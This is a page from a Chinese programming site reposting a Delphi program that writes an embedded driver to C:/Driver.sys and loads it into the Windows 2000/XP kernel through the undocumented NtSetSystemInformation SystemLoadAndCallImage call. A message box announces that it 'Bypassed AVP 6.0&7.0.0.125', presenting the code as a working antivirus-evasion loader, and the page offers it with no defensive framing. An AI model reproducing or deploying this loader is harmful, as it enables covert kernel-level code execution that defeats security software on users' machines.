• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

Delphi加载驱动

原作者: [db:作者] 来自: [db:来源] 收藏 邀请
 1 program Project2;
 2 
 3 uses
 4 Windows, Native, JwaWinType, Unit_Driver;
 5 
 6 function Is2KXp(): Boolean;
 7 var
 8 OSVer: TOSVersionInfo;
 9 begin
10 Result := False;
11 OSVer.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);
12 if GetVersionEx(OSVer) then
13 begin
14     if (OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT) then
15     begin
16       if (OSVer.dwMajorVersion = 5) and ((OSVer.dwMinorVersion = 0) or
17             (OSVer.dwMinorVersion = 1))then
18       begin
19         Result := True;
20       end;
21     end;
22 end;
23 end;
24 
25 function DriverSaveFile(lpszName: PChar):Boolean;
26 var
27 hFile:THandle;
28 BytesWrite: dword;
29 begin
30 Result := False;
31 DeleteFile(lpszName);
32 hFile := CreateFile(lpszName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_NEW, 0, 0);
33 if hFile = INVALID_HANDLE_VALUE then Exit;
34 if WriteFile(hFile,DriverBuf,DriverSize, BytesWrite, nil) then Result := True;
35 CloseHandle(hFile);
36 end;
37 
38 var
39 StrInit: TString;
40 GGSImage: SYSTEM_LOAD_AND_CALL_IMAGE;
41 begin
42 if (Is2KXp()) then
43 begin
44     if DriverSaveFile('C:/Driver.sys') then
45     begin
46       RtlInitAnsiString(@StrInit, '/??/C:/Driver.sys');
47       RtlAnsiStringToUnicodeString(@GGSImage.ModuleName, @StrInit, True);
48       OutputDebugString('Load Driver: C:/Driver.sys');
49       NtSetSystemInformation(SystemLoadAndCallImage, @GGSImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE));
50 
51       MessageBox(0, 'Bypassed AVP 6.0&7.0.0.125', 'By Anskya', 0);
52     end;
53 end;
54 end.

 


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Xilinx System Generator与Matlab关联问题发布时间:2022-07-18
下一篇:
MATLAB信号减采样发布时间:2022-07-18
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap